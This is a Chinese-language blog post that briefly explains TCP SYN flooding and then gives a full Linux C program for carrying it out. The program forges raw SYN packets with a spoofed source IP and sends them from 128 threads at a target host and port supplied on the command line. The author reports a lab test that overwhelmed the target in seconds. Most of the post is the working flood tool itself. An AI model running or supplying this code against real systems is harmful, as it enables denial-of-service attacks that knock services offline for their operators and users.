Linux C语言实现SYN包泛洪攻击

TCP SYN泛洪发生在OSI第四层,这种方式利用TCP协议的特性,就是三次握手。攻击者发送TCP SYN,SYN是TCP三次握手中的第一个数据包,而当服务器返回ACK后,该攻击者就不对其进行再确认,那这个TCP连接就处于挂起状态,也就是所谓的半连接状态,服务器收不到再确认的话,还会重复发送ACK给攻击者。这样更加会浪费服务器的资源。攻击者就对服务器发送非常大量的这种TCP连接,由于每一个都没法完成三次握手,所以在服务器上,这些TCP连接会因为挂起状态而消耗CPU和内存,最后服务器可能死机,就无法为正常用户提供服务了。

C语言代码如下:

/******************************************************************************
             Copyright (C), 2018-2019,  xxx Co.xxx, Ltd.
 ******************************************************************************
    File Name     : Dos_tcp.c
    Version       : V1.0
    Author        : lijd
    Created       : 2018/12/07
    Description   : tcp方式Dos攻击编码实现
******************************************************************************/
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

#define MAXCHILD			128
#define PROTO_NAME 			"tcp"
#define FAKE_IP 			"192.168.0.222"

static unsigned long dest = 0;
static unsigned short dest_port = 0;
static int PROTO_TCP = -1;
static int alive = -1;
int rawsock = 0;

typedef struct dosseg_t{
    struct ip iph;
    struct tcphdr tcph;
    unsigned char data[8192];
}DOSSEG_T;

//数据包校验
static unsigned short Dos_cksum(unsigned short *data, int length)
{
    register int left = length;
    register unsigned short *word = data;
    register int sum = 0;
    unsigned short ret = 0;
	
    while(left > 1)
    {
	sum += *word++;
	left -= 2;
    }
	
    if(left == 1)
    {
	*(unsigned char *)(&ret) = *(unsigned char *)word;
	sum += ret;
    }
	
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
	
    ret = ~sum;
    return (ret);
}

/* 随机生成攻击请求源端口 */
static inline long myrandom(int begin, int end)
{
    int gap = end - begin + 1;
    int ret = 0;
	
    srand((unsigned)time(0));
	
    ret = random()%gap + begin;
    return ret;
}

static void Dos_sig()
{
    alive = 0;
    printf("stop DoS Attack!\n");
}

/* 构造tcp的请求syn包 */
void DoS_tcp_pack(char* packet)
{
    char *buffer;
	
    struct ip* ip_hdr = (struct ip*)packet;
    struct tcphdr* tcp_hdr = (struct tcphdr*)(packet + sizeof(struct ip));

    //ip头赋值
    ip_hdr->ip_v = 4;
    ip_hdr->ip_hl = 5;
    ip_hdr->ip_tos = 0;
    ip_hdr->ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr));
    ip_hdr->ip_id = htons(getpid());
    ip_hdr->ip_off = 0;
    ip_hdr->ip_ttl = 64;
    ip_hdr->ip_p = PROTO_TCP;
    ip_hdr->ip_sum = 0;
    ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);		//伪装源地址
    ip_hdr->ip_dst.s_addr = dest; 					//攻击的目的主机地址
    ip_hdr->ip_sum = Dos_cksum((unsigned short *)ip_hdr, (4*ip_hdr->ip_hl + sizeof(struct tcphdr) + 1) & ~1);

    //tcp赋值
    tcp_hdr->seq = htonl((unsigned long)myrandom(0, 65535));
    tcp_hdr->ack_seq = htons(myrandom(0, 65535));
    tcp_hdr->syn = 1;
    tcp_hdr->urg = 1;
    tcp_hdr->window = htons(myrandom(0, 65535));
    tcp_hdr->check = 0;
    tcp_hdr->urg_ptr = htons(myrandom(0, 65535));
    tcp_hdr->check = Dos_cksum((unsigned short *)tcp_hdr, (sizeof(struct ip) + sizeof(struct tcphdr) + 1) & ~1);
}

void Dos_Attack()
{
    DOSSEG_T packet;
    struct sockaddr_in to;
    DoS_tcp_pack((char *)&packet);

    to.sin_family = AF_INET;
    to.sin_addr.s_addr = dest;
    to.sin_port = htons(0);

    while(alive)  //控制发包的全局变量
    {
        sendto(rawsock, &packet, 4*packet.iph.ip_hl + sizeof(struct tcphdr), 0, (struct sockaddr*)&to, sizeof(struct sockaddr));
    }
}

int main(int argc, char* argv[]) 
{ 
    struct hostent* host = NULL; 
    struct protoent* protocol = NULL; 
    int i = 0, err = -1; 
    pthread_t attack_thread[MAXCHILD];

    /* 创建停止信号接收函数 */
    alive = 1; 
    signal(SIGINT, Dos_sig);
	
    if(argc < 3) 
    { 
	printf("-------------Invalid input---------------!\n");
	return -1;
    }
	
    protocol = getprotobyname(PROTO_NAME);
    if(protocol == NULL) 
    { 
	printf("Fail to getprotobyname!\n");
	return -1;
    } 
	
    PROTO_TCP = protocol->p_proto;
	
    //参数1:攻击目的IP   参数2:攻击的目的Port
    dest = inet_addr(argv[1]);
    dest_port = atoi(argv[2]);
	
    if(dest == INADDR_NONE) 
    { 
	host = gethostbyname(argv[1]);
	if(host == NULL) 
	{ 
	    printf("Invalid IP or Domain name!\n");
	    return -1;
	} 
		
	memcpy((char *)&dest, host->h_addr, host->h_length);	
    }
	
    //创建原始套接字
    rawsock = socket(AF_INET, SOCK_RAW, PROTO_TCP);
	
    if(rawsock < 0) 
    { 
	printf("Fait to create socket!\n");
	return -1;
    } 
	
    //设置IP选项
    setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL, "1", sizeof("1"));
	
    printf("ICMP FLOOD ATTACK START\n");

    for(i = 0; i < MAXCHILD; i++) 
    { 
	err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL);
	if(err) 
	{ 
	    printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]);
	} 
    } 
	
    for(i = 0; i < MAXCHILD; i++) 
    { 
	pthread_join(attack_thread[i], NULL);
	//等待线程结束 
    } 
	
    printf("ICMP ATTACK FINISHI!\n");
    close(rawsock);
	
    return 0;
}

由以上代码中将攻击源IP伪装设置为:192.168.0.222,实际攻击主机为:10.0.13.111。攻击的目的主机为:10.0.13.222。尝试攻击时间仅仅3秒钟,被攻击端的Wirshark攻击已经卡死。等待一会恢复后可查攻击数据包高达62万之多,可想而知,如果长时间被攻击服务器处于这种状态肯定会沦陷。攻击截图如下。

  • 5
    点赞
  • 41
    收藏
    觉得还不错? 一键收藏
  • 8
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值